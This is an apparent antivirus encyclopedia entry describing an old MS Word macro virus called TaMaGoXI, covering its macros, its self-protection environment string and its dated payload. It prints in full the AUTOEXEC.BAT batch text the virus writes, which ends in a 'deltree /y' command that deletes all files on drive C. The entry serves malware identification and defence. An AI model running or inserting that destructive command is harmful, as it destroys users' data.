Class
Virus
Platform
MSWord

Parent class: VirWare

Viruses and worms are malicious programs that self-replicate on computers or via computer networks without the user being aware; each subsequent copy of such malicious programs is also able to self-replicate. Malicious programs which spread via networks or infect remote machines when commanded to do so by the “owner” (e.g. Backdoors) or programs that create multiple copies that are unable to self-replicate are not part of the Viruses and Worms subclass. The main characteristic used to determine whether or not a program is classified as a separate behaviour within the Viruses and Worms subclass is how the program propagates (i.e. how the malicious program spreads copies of itself via local or network resources.) Most known worms are spread as files sent as email attachments, via a link to a web or FTP resource, via a link sent in an ICQ or IRC message, via P2P file sharing networks etc. Some worms spread as network packets; these directly penetrate the computer memory, and the worm code is then activated. Worms use the following techniques to penetrate remote computers and launch copies of themselves: social engineering (for example, an email message suggesting the user opens an attached file), exploiting network configuration errors (such as copying to a fully accessible disk), and exploiting loopholes in operating system and application security. Viruses can be divided in accordance with the method used to infect a computer:
  • file viruses
  • boot sector viruses
  • macro viruses
  • script viruses
Any program within this subclass can have additional Trojan functions. It should also be noted that many worms use more than one method in order to spread copies via networks.

Class: Virus

Viruses replicate on the resources of the local machine. Unlike worms, viruses do not use network services to propagate or penetrate other computers. A copy of a virus will reach remote computers only if the infected object is, for some reason unrelated to the virus function, activated on another computer. For example: when infecting accessible disks, a virus penetrates a file located on a network resource a virus copies itself to a removable storage device or infects a file on a removable device a user sends an email with an infected attachment.

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Platform: MSWord

Microsoft Word (MS Word) is a popular word processor and part of Microsoft Office. Microsoft Word files have a .doc or .docx extension.

Description

Technical Details

This macro virus affects the system on closing an infected documents and copies itself to documents are closed or saved with new name. It contains seven macros:

Documents           NORMAL.DOT
AutoOp              AutoOpen
AutoExec            AutoExec
AutoClose           AutoClose
UtilMacro           UtilMacro
FerramMacro         FerramMacro
ArquivoModelos      ArquivoModelos
ArquivoSalvarComo   ArquivoSalvarComo
The virus does not infect the system and documents, if Environment contains the string "TAMAGOXI=GMS" (virus author's self-protection?). In this case the virus displays the MessageBox:
(sLeEp ModE) TaMaGoXI bY WiZaRD: EtERnAl LoVE 2 mY LitTlE gIrL Gi
On 26 of any month the virus writes to the C:AUTOEXEC.BAT instructions that will display the message and delete all files on drive C:
@echo off
cls
echo.
echo.
echo.
echo            SaLamA'S CoRP - AlL lEfTS ReSerVeD - 1997
echo                        TaMaGoXI bY WiZaRD***
echo                                          ***
echo                                         *
echo                                        *
echo                          *************
echo                         *             *
echo                        *  ****   ****  *
echo                        *               *
echo                        *     *****     *
echo                         ***************
echo.
echo                     eXPecT nO MeRcY FRoM HiM
echo.
echo.
echo File' not found: Serve Alcatara Mane'? (S/N)
echo.
echo.
deltree /y c:*.* >nul

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